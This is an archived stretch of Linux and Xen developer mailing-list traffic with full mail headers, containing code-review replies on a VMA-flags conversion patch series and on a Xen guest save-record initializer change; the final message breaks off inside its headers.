DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782994911;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=flDoJiJgtgGf3x2zlQX9jaS5nhFTdBgmSXvfG9PiFjA=;
	b=lN0+Boa2ASIcCLc47EPvtXVMZuYaw78VJ/wVLmRpCeGudutYAguuVxwIGwqQDa2oDibvGW
	bIpbbgc5ew0Ij3QtFyyGuneAdXTOrpkXqfYfNRMzfKjFKxKgZCy8wM/iRDCenl6trdMYJz
	+LOdf87J+2yAD0n3s3yNqonkzwm6x4w=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 06/13] mm/vma: convert vm_pgprot_modify() to use vma_flags_t and rename
Date: Thu,  2 Jul 2026 20:21:16 +0800
Message-Id: <20260702122116.65642-1-lance.yang@linux.dev>
In-Reply-To: <548ba81b2971734d4d2143237ad1465bd1b2f525.1782760670.git.ljs@kernel.org>
References: <548ba81b2971734d4d2143237ad1465bd1b2f525.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-d62444/1782994914-D04D51E0-39AE9C31/0/0
X-purgate-type: clean
X-purgate-size: 1521


On Mon, Jun 29, 2026 at 08:25:29PM +0100, Lorenzo Stoakes wrote:
>Update vm_pgprot_modify() to use the new VMA flags type vma_flags_t, and
>rename to vma_pgprot_modify() accordingly.
>
>This is part of the ongoing work to convert vm_flags_t to vma_flags_t, in
>order to eliminate the arbitrary limit of the number of bits in a system
>word on available VMA flags.
>
>Update VMA userland tests accordingly, updating vma_set_page_prot() to no
>longer inline vma_pgprot_modify(), rather we can simply define
>vma_pgprot_modify() as a static inline function and the tests will pick it
>up from vma.h.
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---
[...]
>diff --git a/mm/vma.h b/mm/vma.h
>index bcf0c2773449..6a8abb8ae937 100644
>--- a/mm/vma.h
>+++ b/mm/vma.h
>@@ -522,9 +522,11 @@ static inline bool vma_wants_manual_pte_write_upgrade(struct vm_area_struct *vma
> }
> 
> #ifdef CONFIG_MMU
>-static inline pgprot_t vm_pgprot_modify(pgprot_t oldprot, vm_flags_t vm_flags)
>+static inline pgprot_t vma_pgprot_modify(pgprot_t oldprot, vma_flags_t vma_flags)
> {
>-	return pgprot_modify(oldprot, vm_get_page_prot(vm_flags));
>+	const pgprot_t prot = vma_get_page_prot(vma_flags);
>+
>+	return pgprot_modify(oldprot, prot);

Nit: could this just stay as a single return? something like:

return pgprot_modify(oldprot, vma_get_page_prot(vma_flags));

Otherwise, LGTM, feel free to add: 

Reviewed-by: Lance Yang <lance.yang@linux.dev>

[...]


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 12:25:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 12:25:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351792.1608843 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGUL-0006JD-JR; Thu, 02 Jul 2026 12:25:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351792.1608843; Thu, 02 Jul 2026 12:25:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGUL-0006J6-Gq; Thu, 02 Jul 2026 12:25:53 +0000
Received: by outflank-mailman (input) for mailman id 1351792;
 Thu, 02 Jul 2026 12:25:52 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfGUK-0006Iz-TJ
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:25:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfGUF-007vAO-47
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:25:52 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a4658c9-bab6-0a2a0a5309dd-0a2a4501def0-6
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:25:47 +0200
Received: from [91.218.175.184] (helo=out-184.mta0.migadu.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a4658ca-400f-0a2a45010019-5bdaafb8cc25-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:25:46 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782995144;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=7Ko6g/fNv98hSurpFrjSC8unNT/smMh3pnGqTobbcqg=;
	b=b+ldrvkt8ZmJ+OrI3yxcQgFLnRxGCWHjhsFZZL3rVzLaxyNILjolYA01aJGr58GPqotONa
	C0qfjyiCv0Ek1cqalMJ+/t7YCyD5CeARmY/TMOXt2of2lM3qjKi0LZINpNnLjdz9QLcCqu
	OOzdaIK15Lm4UMi7JwMdKk4MKXYIZlw=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 07/13] mm/vma: rename vma_get_page_prot to vma_flags_to_page_prot
Date: Thu,  2 Jul 2026 20:25:15 +0800
Message-Id: <20260702122515.74271-1-lance.yang@linux.dev>
In-Reply-To: <fc8ac30d03d29d236e76542b36432bba315aca60.1782760670.git.ljs@kernel.org>
References: <fc8ac30d03d29d236e76542b36432bba315aca60.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-d62444/1782995146-804D21E0-701ECA56/0/0
X-purgate-type: clean
X-purgate-size: 479


On Mon, Jun 29, 2026 at 08:25:30PM +0100, Lorenzo Stoakes wrote:
>Having vma_get_page_prot() refer to VMA flags and vma_set_page_prot() refer
>to a VMA is confusing.
>
>Rename vma_get_page_prot() to vma_flags_to_page_prot() to resolve this
>confusion.
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---

straight rename, no stale callers that I can spot ;) Feel free to add:

Reviewed-by: Lance Yang <lance.yang@linux.dev>


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 12:31:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 12:31:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351802.1608851 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGZq-00084R-4s; Thu, 02 Jul 2026 12:31:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351802.1608851; Thu, 02 Jul 2026 12:31:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGZq-00084K-1l; Thu, 02 Jul 2026 12:31:34 +0000
Received: by outflank-mailman (input) for mailman id 1351802;
 Thu, 02 Jul 2026 12:31:33 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wfGZp-00084E-6Z
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:31:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfGZo-005jVG-JY
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:31:32 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a465a22-bab6-0a2a0a5309dd-0a2a4503cc4c-12
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:31:32 +0200
Received: from [74.125.224.45] (helo=mail-yx1-f45.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a465a23-ec1a-0a2a45030019-4a7de02dbc5b-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:31:32 +0200
Received: by mail-yx1-f45.google.com with SMTP id
 956f58d0204a3-6662551100bso1120382d50.0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 05:31:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1782995491; cv=none;
        d=google.com; s=arc-20260327;
        b=ToXjHFqgtd9xRNZXbyw7iy2syBaNQTa6+mr0ewRd+YFNzytay3g4mFPvCGAsOPgQWN
         JYvD/jXg2N+kGvxG25mDB5vi60ZDP5WR+hd3U/Wk179qwRbClzsoTcjoQpsol3R1G0NF
         4/Zv85qYpc9mSSbC2n8rpDBj8XjxZwoQGdoDWAX0dHaHBX0tDF6H0vzyci1EAoj5TeA8
         iH6hknSHohStNPlzTBTCIRjG6SJdxsCjq/s7GqgsNgxkDqIaxKPdQSAo8CNt0dSf9Chf
         mvwsiEpUnEfsfLzpkEJX6zH6EOTz27xELsTQAy8qFzD5X7mE0sSMO+yziDDKjfvfbZPG
         y3Eg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=cc:to:subject:message-id:date:from:in-reply-to:references
         :mime-version:dkim-signature;
        bh=ySn3gMwf35pdMOoKlEwyhm0+ybEatoARftdVy4I7+6A=;
        fh=pmfIAu1zZ/y4MK+Ok8pH+KJi8l1vy8Cep5fL3L/xSOQ=;
        b=Dxhr8Lw73FhzB18WO711DnLtorlFOOJccADY0iGQfzjF5Y6DSK09A0oIDY+0QqCCY7
         dd4gHllVD3BqXeDu0MKXydJl/9k3EsNU5KK8W3sWtJpUZ+x7ryb/1n1rBaSCgxCthzno
         naobrM6l2kFMShlqCWNVZOFSUReRoS/FaBZKVOo1I2aXNEE1van8fbi2nda2PENajvUt
         WuQ+wXOepElM7T7x3rGG2KBka65hxHymUhoqYICCqCEvdaNSt/HZnBbwLa687oY6Th/B
         FBL8N98GV3XE3tTEOIsmQzBHvz7j7x4xnKzyQdlC2NOoNcQpdRGhOwU1M3gtKO97v7JJ
         iw/A==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782995491; x=1783600291; darn=lists.xenproject.org;
        h=cc:to:subject:message-id:date:from:in-reply-to:references
         :mime-version:from:to:cc:subject:date:message-id:reply-to;
        bh=ySn3gMwf35pdMOoKlEwyhm0+ybEatoARftdVy4I7+6A=;
        b=C9u0eeltBO2W1v62fqqJmc9NngJIvYY0at1xBVKpG0jFj3k8aZdtZOXINTYdz2f8Ye
         lIUnyMfcr0ZYkDHk9biLFM359sZKYEpSUr1M23a9kLEY4ptux5yRz5Doqrans+73Sfqh
         T/N7I9CbQ9ER8QleSlNnrjWnqr5SaeDtw/jkXcVQYk0pmDcoMFbin4pxoESxJecAoUSX
         KvAn0MedJ4WkxqjS45v+EPCTkOvYTlpzldjIxoeEMSyGpBJcKrJLct9Y6UFd7D4lU8Fx
         Pn8Jt65Ef52NJ5vR7Z7X+RvyRWdPs37AT6dURfNzPdqeRmwmot0wtop8MRMX0xJIKKZt
         O0wg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782995491; x=1783600291;
        h=cc:to:subject:message-id:date:from:in-reply-to:references
         :mime-version:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=ySn3gMwf35pdMOoKlEwyhm0+ybEatoARftdVy4I7+6A=;
        b=hCa0iSjuO3nv03d9iTyW/HSX1amQrncj3u18vv+mlnHnFPtnoSXkZYaQ2lVA3LU1An
         DxoKEAVzCDFu/iUrp30AueeP+aKlY0lJeKLIk1Ya8MOImykD5KTR1ecSgpNGT9n7kUQY
         77cLYx67DJhJCDTjlZ/y+Hk9p9bKVLNRHs++ANC3mxNPp8vTMEjL+FfmBmU18DgC7uZ/
         JyfnY6mgChDNFJ96rbTRbg7bFdnHxAeMyxYjZBcydES7g6UZ9skhkItYHOWXBnXYGUm0
         8cRPEDe+mZ1IByM0eQPD0KnR1u/v7GLawhEoNKW3boH+44KxJOouJO272hLuHdCi6Kq2
         ToFg==
X-Gm-Message-State: AOJu0Yx/tB45aS9FyRy/bWji9Zt33beTxsoe9XLaN3doN1rDSdKGkv13
	Kjh2hkTJnCPKnUKSbfdhGMqttgPNFW9x+DVK0NOkEJG9u6itHJMaRpYWHwXoJWVi1g4vBgzziTS
	tPflNh5D0H6T/yDT0L2svnfUhXij4+cI=
X-Gm-Gg: AfdE7cluurAF1oihHtTT99tNzBl1Hn2oRFc7iAHUcAmeELdmwRTy1aibwey8rK6gfEi
	E8IaWDkN5PY48NIA5rY2Zbu42wT/fYZAD5XSyl7NsO0vx9g+bfcG8yEYcHjjbRHPPQux07OYPv+
	w35lJnTVMIgv7ROUg1mIt84dLXu+R5vdsnuEdBGUKan+kJj5Q30Fw+w5An6E6V1FXHD+GL7fDu0
	0cqdARTciimxiJDzirF6y22x5TSBAhWaIbZrXJg8GcxTZyxQKlC1VBakIBYVABDAJTNgUVFdCVi
	RoxDRCxaNwMlgy9wB0x/IjhRiP8wdIbhDQ==
X-Received: by 2002:a05:690e:1918:b0:664:de27:9de5 with SMTP id
 956f58d0204a3-66521cf00a0mr5248423d50.79.1782995490812; Thu, 02 Jul 2026
 05:31:30 -0700 (PDT)
MIME-Version: 1.0
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-3-frediano.ziglio@citrix.com> <66e293a9-0384-4028-913d-90f2f3d1874c@citrix.com>
In-Reply-To: <66e293a9-0384-4028-913d-90f2f3d1874c@citrix.com>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Thu, 2 Jul 2026 13:31:19 +0100
X-Gm-Features: AVVi8Ccva7Q2tC64CMNMqEawCU1qa3IEf_tdqGCKpCdU9568YVWxJ1bZjnm9ppw
Message-ID: <CAHt6W4fW58Tt7khO=BtQOVKbBrf74HKvQ4SsPMLTwhgPsvD7DA@mail.gmail.com>
Subject: Re: [PATCH v6 02/16] libs/guest: Reduce number of I/O vectors in write_batch
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: xen-devel@lists.xenproject.org, 
	Frediano Ziglio <frediano.ziglio@citrix.com>, Jan Beulich <jbeulich@suse.com>, 
	=?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Anthony PERARD <anthony.perard@vates.tech>, 
	Juergen Gross <jgross@suse.com>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-33051d/1782995492-061315D1-A5907257/0/0
X-purgate-type: clean
X-purgate-size: 1081

On Tue, 30 Jun 2026 at 17:41, Andrew Cooper <andrew.cooper3@citrix.com> wrote:
>
> On 19/06/2026 2:04 pm, Frediano Ziglio wrote:
> > diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
> > index fdbceab52e..68ce1aeb98 100644
> > --- a/tools/libs/guest/xg_sr_save.c
> > +++ b/tools/libs/guest/xg_sr_save.c
> > @@ -97,9 +97,11 @@ static int write_batch(struct xc_sr_context *ctx)
> >      void *page, *orig_page;
> >      uint64_t *rec_pfns = NULL;
> >      struct iovec *iov = NULL; int iovcnt = 0;
> > -    struct xc_sr_rec_page_data_header hdr = { 0 };
> > -    struct xc_sr_record rec = {
> > -        .type = REC_TYPE_PAGE_DATA,
> > +    struct {
> > +        struct xc_sr_rhdr rec;
> > +        struct xc_sr_rec_page_data_header page_data;
> > +    } hdrs = {
> > +        { .type = REC_TYPE_PAGE_DATA },
>
> .rec = { .type = ... },
>
> Otherwise this is fragile to reordering.
>

Changed.
Here we are implementing a network protocol, reordering should not be
done, unless you want to break the code.

> ~Andrew

Frediano


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 12:33:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 12:33:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351810.1608862 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGbX-00008R-Fq; Thu, 02 Jul 2026 12:33:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351810.1608862; Thu, 02 Jul 2026 12:33:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGbX-00008K-By; Thu, 02 Jul 2026 12:33:19 +0000
Received: by outflank-mailman (input) for mailman id 1351810;
 Thu, 02 Jul 2026 12:33:18 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wfGbW-000088-OQ
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:33:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfGbW-007x4h-5Q
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:33:18 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a465a7f-bab6-0a2a0a5309dd-0a2a4501a978-28
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:33:17 +0200
Received: from [74.125.224.43] (helo=mail-yx1-f43.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a465a8c-400f-0a2a45010019-4a7de02bc8c9-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:33:17 +0200
Received: by mail-yx1-f43.google.com with SMTP id
 956f58d0204a3-666275a685eso834316d50.2
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 05:33:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1782995596; cv=none;
        d=google.com; s=arc-20260327;
        b=nETdmxlVuAGR5gNY9uc5DmLWumxU7eXFzm+reV7S8W1mtleevO+E9Pj2lbxbrpDFtY
         E6zx8cjT7p7oqL/DRBWD/WbYM4GiTvXEshNMpkf86k6x0HS8a8MSUbIGGWHoQw8StPJr
         SFNuGrcIIScOM+cvifbR45grlML6jArsQN9gU096sIdyjv0n3Hpmi0ybdlQfy8sPKIPb
         1n50xMmRrAWM1jmfnGk9QrARNPgJOCt0rv24RwXia6eN529Rfjqn7WLioOUmMDebGRo6
         RqwRPFElElgCotyayLvW0RhcIDfIfxhT9MOXNaDbTChRDsoAmT7JDgcQ9HB9RGOwJNTt
         AWrQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=+WSGWfYa7gMrkFqASJhZI8VjZ8XuFjtdt/nRUpEHU4w=;
        fh=pmfIAu1zZ/y4MK+Ok8pH+KJi8l1vy8Cep5fL3L/xSOQ=;
        b=K/Kv4RuZsVKAnEiQmgvB0mgZa0wlsN4PVUNEHyxm7oMg2OSxZdhWtVAGX0eAEjoF5d
         hhSABik1S19GpXCRiuEh6W7Xw8tau4OuHELTxkZiso2gFlPcbcKCHkhisj7D3SRwHSL+
         wcrsCf/930RFlR55X46c8WlYXL8WD7iVA/RD6nU8AFL0mnCS1f9kzTnCrM8YFsUvbcAe
         NhzEc0vai4GHxRCK5Me3WJGa6Yj/mKDO3/Cc2a3ofQ04AKI4OSJIuSiD4rFCPeah9WOf
         ne4xjWIQP1zKpFPENR2fSrYs02B8EfxzQcz95k63Vl07xOUUppxcm9+Hkxt+NOA9lIW8
         9gfw==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782995596; x=1783600396; darn=lists.xenproject.org;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:from:to:cc:subject:date
         :message-id:reply-to;
        bh=+WSGWfYa7gMrkFqASJhZI8VjZ8XuFjtdt/nRUpEHU4w=;
        b=EeP1nFBzAflEdB/TPMaAEUsp7OZU5/nq1qqDyyILV+S6AxuXIYm/6FXlTDL68+gRKs
         YO6GvMgUFlySaCPH3UuDr8/YW2wgIuG+59LgGeRQKyRAXPf/WCMZnvBAGbzAmaWBi+TO
         HqoxTeEEcPeOFa72YN7sm6118ap9O2B7Ypp6mP31lv0LumgwoDU1/fM59pGB5bAkIAfA
         btnMeFynbnjOfqQaFlsleFxd4gxEdMIJQc/4qEoIlB2b5GI4VNV2XhSnrcyvw+eAEFzF
